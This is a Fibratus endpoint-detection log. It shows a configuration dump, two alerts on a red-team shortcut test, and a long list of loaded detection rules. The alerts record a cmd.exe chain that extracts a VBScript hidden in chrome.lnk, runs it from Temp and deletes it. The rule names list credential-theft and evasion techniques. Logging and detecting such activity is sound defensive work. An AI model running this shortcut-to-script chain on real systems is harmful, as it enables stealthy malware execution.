HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T17:26:37+01:00 level=info msg=bootstrapping with pid 16308. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T17:26:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false enable-thread=>true enable-fileio=>true stack-enrichment=>true enable-registry=>true min-buffers=>16 enable-image=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-vamap=>true max-buffers=>36 enable-net=>true buffer-size=>512 enable-audit-api=>true enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST enable-gzip=>false enabled=>false timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 trace-log=>false gzip-compression=>false index-name=>fibratus healthcheck=>true timeout=>5s healthcheck-interval=>10s enabled=>false template-name=>fibratus sniff=>false] amqp=>[ timeout=>5s delivery-mode=>transient routing-key=>fibratus durable=>false passive=>false vhost=>/ enabled=>false exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s enabled=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T17:26:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:26:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T17:26:53+01:00 level=info msg=sending alert: [Embedded script execution via shortcut file]. Text: Event(s): + Seq: 3601184 + Pid: 16408 + Tid: 9176 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 17:26:43.5699172 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffff8b044904eb90, file_path➜ C:\Fibratus\redteam\Lnk2Vbs\chrome.lnk, irp➜ ffff8b044ecd3808, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9176, type➜ File + Metadata: rule.name: Embedded script execution via shortcut file, tactic.ref: https://attack.mitre.org/tactics/TA0002/, tactic.id: TA0002, tactic.name: Execution + + Pid: 16408 + Ppid: 11956 + Name: findstr.exe + Parent name: cmd.exe + Cmdline: findstr "::::::::::.*" "chrome.lnk" + Parent cmdline: "C:\Windows\System32\cmd.exe" /v:on /c findstr "::::::::::.*" "chrome.lnk" > "C:\Users\nedo\AppData\Local\Temp\sys.vbs" & "C:\Users\nedo\AppData\Local\Temp\sys.vbs" & del "C:\Users\nedo\AppData\Local\Temp\sys.vbs" + Exe: C:\Windows\System32\findstr.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [findstr "::::::::::.*" "chrome.lnk"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-11T17:26:53+01:00 level=info msg=sending alert: [Embedded script execution via shortcut file]. Text: Event(s): + Seq: 3601186 + Pid: 16408 + Tid: 9176 + Type: CreateFile + CPU: 7 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-11 17:26:43.5705218 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE|OPEN_NO_RECALL, file_object➜ ffff8b044904c7a0, file_path➜ C:\Fibratus\redteam\Lnk2Vbs\chrome.lnk, irp➜ ffff8b044ecd3808, share_mask➜ READ|WRITE, status➜ Success, tid➜ 9176, type➜ File + Metadata: rule.name: Embedded script execution via shortcut file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 16408 + Ppid: 11956 + Name: findstr.exe + Parent name: cmd.exe + Cmdline: findstr "::::::::::.*" "chrome.lnk" + Parent cmdline: "C:\Windows\System32\cmd.exe" /v:on /c findstr "::::::::::.*" "chrome.lnk" > "C:\Users\nedo\AppData\Local\Temp\sys.vbs" & "C:\Users\nedo\AppData\Local\Temp\sys.vbs" & del "C:\Users\nedo\AppData\Local\Temp\sys.vbs" + Exe: C:\Windows\System32\findstr.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [findstr "::::::::::.*" "chrome.lnk"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-11T17:27:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T17:27:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:27:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T17:31:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T17:31:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T17:32:50+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml 